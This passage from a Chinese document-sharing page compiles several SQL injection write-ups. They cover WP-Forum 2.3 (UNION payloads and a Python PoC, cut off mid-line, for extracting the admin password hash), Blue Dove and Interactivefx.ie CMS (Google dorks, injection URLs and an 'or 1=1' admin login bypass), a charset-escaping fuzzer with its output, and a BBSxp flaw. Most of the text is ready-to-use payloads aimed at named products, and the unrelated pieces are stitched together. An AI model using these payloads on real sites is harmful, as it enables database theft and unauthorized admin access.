1492            $id = $_GET[id]; // <- $_GET[id] is directly assigned

1493            $author = $wpdb->get_var(”SELECT author_id from

$this->t_posts where id = $id“); // id is used without clean up

...

1503            if($del == ”ok“){

1504                $wpdb->query(”DELETE FROM $this->t_posts WHERE id

= $id“); <- // id is used without clean up

1505                $this->o .= ”“.__(”Post

deleted“, ”wpforum“).”“;

1506            }

1507            else

1508                wp_die(__(”Cheating, are we?“, ”wpforum“));

1509

1510    }

the ”id“ parameter is vulnerable in other parts of the source code..

Also, is possible to delete all records in table $this->t_posts and

$this->t_threads because $_GET[topic] is not properly sanitized,

injecting something like 1 or 1=1

1479    function remove_topic(){

1480            global $user_level, $user_ID, $wpdb;

1481            $topic = $_GET[topic];

1482            if($this->is_moderator($user_ID, $this->current_forum)){

1483                $wpdb->query(”DELETE FROM $this->t_posts WHERE

parent_id = $topic“);

1484                $wpdb->query(”DELETE FROM $this->t_threads WHERE

id = $topic“);

1485            }

1486            else

1487                wp_die(__(”Cheating, are we?“, ”wpforum“));

1488

1489    }

IV. PROOF OF CONCEPT

-------------------------

In the url: example.com/blog/?page_id=3&wpforumaction=search

replacing page_id=3 parameter with the number of the WP-Forum page

in each case

Is possible to obtain any data of the database. Here is a proof of

concept to obtain user_pass, user_login and user_email of the user

with id=1 of wp_users table (normally admin).

We have to fill the search_max parameter with the value:

9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999

9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999

9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1

and subdate(curdate(), interval 9999

I wrote a PoC, to get automatically the password hash of the WordPress

admin account:

user@linuz:~$ cat wpforum2.3-poc.py

#!/usr/bin/python

# WP-Forum <= 2.3 SQL Injection PoC

# Juan Galiana Lara

# Internet Security Auditors

import urllib

import urllib2

import re

url = site//wordpress/?page_id=3&wpforumaction=search

values = {search_words : any,

search_submit : Search,

search_max : 999 DAY) union select 1,1,1,user_pass,1,1,1

from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999 }

data = urllib.urlenco

篇5:Blue Dove Sql Injection Vulnerability

google  : powered by Blue Dove Web Design

Exploit :server/path/file.php?id=null[SQL]

Example:

server/sections/newsletter.php?Id=-30%20union%20select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14

篇6:SQL Injection Encoding Attacks fuzzer.php

我的测试结果,代码在结果后面,:

引用

Array

(

[big5] => Array

(

[161] => 2

[162] => 2

[163] => 2

[164] => 2

[165] => 2

[166] => 2

[167] => 2

[168] => 2

[169] => 2

[170] => 2

[171] => 2

[172] => 2

[173] => 2

[174] => 2

[175] => 2

[176] => 2

[177] => 2

[178] => 2

[179] => 2

[180] => 2

[181] => 2

[182] => 2

[183] => 2

[184] => 2

[185] => 2

[186] => 2

[187] => 2

[188] => 2

[189] => 2

[190] => 2

[191] => 2

[192] => 2

[193] => 2

[194] => 2

[195] => 2

[196] => 2

[197] => 2

[198] => 2

[199] => 2

[200] => 2

[201] => 2

[202] => 2

[203] => 2

[204] => 2

[205] => 2

[206] => 2

[207] => 2

[208] => 2

[209] => 2

[210] => 2

[211] => 2

[212] => 2

[213] => 2

[214] => 2

[215] => 2

[216] => 2

[217] => 2

[218] => 2

[219] => 2

[220] => 2

[221] => 2

[222] => 2

[223] => 2

[224] => 2

[225] => 2

[226] => 2

[227] => 2

[228] => 2

[229] => 2

[230] => 2

[231] => 2

[232] => 2

[233] => 2

[234] => 2

[235] => 2

[236] => 2

[237] => 2

[238] => 2

[239] => 2

[240] => 2

[241] => 2

[242] => 2

[243] => 2

[244] => 2

[245] => 2

[246] => 2

[247] => 2

[248] => 2

[249] => 2

)

[sjis] => Array

(

[129] => 2

[130] => 2

[131] => 2

[132] => 2

[133] => 2

[134] => 2

[135] => 2

[136] => 2

[137] => 2

[138] => 2

[139] => 2

[140] => 2

[141] => 2

[142] => 2

[143] => 2

[144] => 2

[145] => 2

[146] => 2

[147] => 2

[148] => 2

[149] => 2

[150] => 2

[151] => 2

[152] => 2

[153] => 2

[154] => 2

[155] => 2

[156] => 2

[157] => 2

[158] => 2

[159] => 2

[224] => 2

[225] => 2

[226] => 2

[227] => 2

[228] => 2

[229] => 2

[230] => 2

[231] => 2

[232] => 2

[233] => 2

[234] => 2

[235] => 2

[236] => 2

[237] => 2

[238] => 2

[239] => 2

[240] => 2

[241] => 2

[242] => 2

[243] => 2

[244] => 2

[245] => 2

[246] => 2

[247] => 2

[248] => 2

[249] => 2

[250] => 2

[251] => 2

[252] => 2

)

[gbk] => Array

(

[129] => 2

[130] => 2

[131] => 2

[132] => 2

[133] => 2

[134] => 2

[135] => 2

[136] => 2

[137] => 2

[138] => 2

[139] => 2

[140] => 2

[141] => 2

[142] => 2

[143] => 2

[144] => 2

[145] => 2

[146] => 2

[147] => 2

[148] => 2

[149] => 2

[150] => 2

[151] => 2

[152] => 2

[153] => 2

[154] => 2

[155] => 2

[156] => 2

[157] => 2

[158] => 2

[159] => 2

[160] => 2

[161] => 2

[162] => 2

[163] => 2

[164] => 2

[165] => 2

[166] => 2

[167] => 2

[168] => 2

[169] => 2

[170] => 2

[171] => 2

[172] => 2

[173] => 2

[174] => 2

[175] => 2

[176] => 2

[177] => 2

[178] => 2

[179] => 2

[180] => 2

[181] => 2

[182] => 2

[183] => 2

[184] => 2

[185] => 2

[186] => 2

[187] => 2

[188] => 2

[189] => 2

[190] => 2

[191] => 2

[192] => 2

[193] => 2

[194] => 2

[195] => 2

[196] => 2

[197] => 2

[198] => 2

[199] => 2

[200] => 2

[201] => 2

[202] => 2

[203] => 2

[204] => 2

[205] => 2

[206] => 2

[207] => 2

[208] => 2

[209] => 2

[210] => 2

[211] => 2

[212] => 2

[213] => 2

[214] => 2

[215] => 2

[216] => 2

[217] => 2

[218] => 2

[219] => 2

[220] => 2

[221] => 2

[222] => 2

[223] => 2

[224] => 2

[225] => 2

[226] => 2

[227] => 2

[228] => 2

[229] => 2

[230] => 2

[231] => 2

[232] => 2

[233] => 2

[234] => 2

[235] => 2

[236] => 2

[237] => 2

[238] => 2

[239] => 2

[240] => 2

[241] => 2

[242] => 2

[243] => 2

[244] => 2

[245] => 2

[246] => 2

[247] => 2

[248] => 2

[249] => 2

[250] => 2

[251] => 2

[252] => 2

[253] => 2

[254] => 2

)

[ucs2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT * FROM ucs2_users WHERE username = 'ÿ' OR 1=1 /* ' AND password = 'any' at line 1

[cp932] => Array

(

[129] => 2

[130] => 2

[131] => 2

[132] => 2

[133] => 2

[134] => 2

[135] => 2

[136] => 2

[137] => 2

[138] => 2

[139] => 2

[140] => 2

[141] => 2

[142] => 2

[143] => 2

[144] => 2

[145] => 2

[146] => 2

[147] => 2

[148] => 2

[149] => 2

[150] => 2

[151] => 2

[152] => 2

[153] => 2

[154] => 2

[155] => 2

[156] => 2

[157] => 2

[158] => 2

[159] => 2

[224] => 2

[225] => 2

[226] => 2

[227] => 2

[228] => 2

[229] => 2

[230] => 2

[231] => 2

[232] => 2

[233] => 2

[234] => 2

[235] => 2

[236] => 2

[237] => 2

[238] => 2

[239] => 2

[240] => 2

[241] => 2

[242] => 2

[243] => 2

[244] => 2

[245] => 2

[246] => 2

[247] => 2

[248] => 2

[249] => 2

[250] => 2

[251] => 2

[252] => 2

)

)

error_reporting(E_ALL);

//先设置为1创建数据库及表,然后设置为0test

$switch = 0;

$mysqlhost = 'localhost';

$mysqluser = 'root';

$mysqlpass = 'root';  // :p

$c = mysql_connect($mysqlhost, $mysqluser, $mysqlpass);

//Old versions of PHP don't have this function, so you need to create the database manually.

if ($switch == 1) {

print ”Creating database.....“;

mysql_create_db (”fuzz“, $c);

print ”Done!

n“;

}

mysql_select_db(”fuzz“, $c);

$charsets = mysql_query(”SHOW CHARACTER SET“, $c);

mysql_close ($c);

if ($switch == 1) {

print ”Creating tables.....

n“;

}

while ($row = mysql_fetch_row($charsets)) {

print $row[0].”....“;

$c = mysql_connect($mysqlhost, $mysqluser, $mysqlpass);

mysql_select_db(”fuzz“, $c);

if ($switch == 1) {

// create demo table

mysql_query(”CREATE TABLE “.$row[0].”_users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET '“.$row[0].”'“, $c);

//populate table

mysql_query(”INSERT INTO “.$row[0].”_users VALUES('foo','bar'), ('baz','test')“, $c);

} else {

mysql_query(”SET CHARACTER SET “.$row[0], $c);

for ($i=1;$i<256;$i++) {

//Well, I could have used a set of variables as switched, but I'm lazy, so we get comment blocks instead, :p

//Part 1

//Single Quotes

$user = mysql_real_escape_string(chr($i) . chr(0x27) . ' OR 1=1 /* ', $c);

//Double Quotes

//$user = mysql_real_escape_string(chr($i) . chr(0x22) . ' OR 1=1 /* ', $c);

$passwd = mysql_real_escape_string('anything', $c);

//Part 2

//$user = mysql_real_escape_string(' '.chr($i), $c);

//$user = addslashes(' '.chr($i));

//$passwd = mysql_real_escape_string(' OR 1=1 /*', $c);

//Part 3

//$user = mysql_real_escape_string(chr($i).' ', $c);

//$passwd = mysql_real_escape_string('test', $c);

//Single Quotes

$sql = ”SELECT * FROM “.$row[0].”_users WHERE username = '{$user}' AND password = '{$passwd}'“;

//Double Quotes

//$sql = ”SELECT * FROM “.$row[0].”_users WHERE username = “{$user}” AND password = “{$passwd}”“;

//Test SQL

//$sql = ”SELECT * FROM “.$row[0].”_users WHERE 1=0“;

$res = mysql_query($sql, $c);

if (!$res) {

$data[$row[0]] = mysql_error;

} else {

$num = mysql_num_rows($res);

if ($num 0) {

$data[$row[0]][$i] = $num;

}

}

}

}

mysql_close ($c);

print ”Done!

n“;

}

if ($switch == 1) {

print ”

Done!

n“;

} else {

print ”

n“;

print_r($data);

print ”

“;

}

?>

篇7:Interactivefx.ie CMS SQL Injection Vulnerability

================================================

Interactivefx.ie CMS SQL Injection Vulnerability

================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

0 _ __ __ __ 1

1 / __ /__` / __ /__` 0

0 /_, ___ /_/_ ___ ,_/ / _ ___ 1

1 /_/ / _ ` / /_/__<_ /___ / /`__ 0

0 / / / / __/ _ _ / 1

1 _ _ __ ____/ ____ __ ____/ _ 0

0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1

1 ____/ >> Exploit database separated by exploit 0

0 /___/ type (local, remote, DoS, etc.) 1

1 0

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By : Inj3ct0r

#[+] Site : Inj3ct0r.com

#[+] support e-mail : submit[at]inj3ct0r.com

#[+] visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Site product: Interactivefx.ie

Product : Interactivefx.ie CMS

Google dork: ”Copyright Interactivefx.ie“

Sql Inj3ct0r Exploit:

server/event-details.php?id=223+select+username,password+from+users/*

Bypass authentication in admin panel:

login: or 1=1/*

pass: anypassyouwish

篇8:BBSxp (Build: 8.0.4) Sql Injection Vulnerability

首发www.nspcn.org , 此处版权

============================================

漏洞发布:Tr4c3[at]126[dot]Com

影响版本 BBSxp 2008 (Build: 8.0.4)其他版本未看

漏洞文件:MoveThread.asp

MoveThread.asp行2-24

<%

if CookieUserName =empty then error(”您还未登录论坛“) '保存cookie登陆即可

ThreadID=Request(”ThreadID“) ' Sql Injection Vulnerability

If Not IsNumeric(ThreadID) then

ThreadIDArray=Split(ThreadID,”,“) '判断数组,避免13行出错

if IsArray(ThreadIDArray) then

for i=0 to Ubound(ThreadIDArray)

if Execute (”Select ThreadID from [“&TablePrefix&”Threads] where ThreadID=“& ThreadIDArray(i)&”“).eof then error”

系统不存在该帖子的资料“

next

ThreadIDSql=int(ThreadIDArray(0))

else

error(”参数错误,

BBSxp 2008 (Build: 8.0.4) Sql Injection Vulnerability

“)

end if

Else

ThreadIDSql=int(ThreadID)

End If

ForumID=Execute(”Select ForumID From [“&TablePrefix&”Threads] where ThreadID=“&ThreadIDSql&”“)(0)

%>

先执行了查询后判断了权限,导致普通用户即可进行sql注射。

构造Url:www.target.com/movethread.asp?ThreadID=1,1'

提交,返回出错信息

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ThreadID=1'' 中。

/BBSXP_Class.asp,行 5

SQL 版本比较好利用,access的nbsi貌似只能猜解出表和字段,字段值无法猜解,需要手工进行。

欢迎大家到群[BK瞬间群]指点.

商君书翻译

世说新语翻译

合同翻译

刻舟求剑翻译

桃花源记翻译

生日快乐翻译

英文简历翻译

寒食翻译

口技翻译

文心雕龙翻译

《[翻译]SQL Injection Attack(共8篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档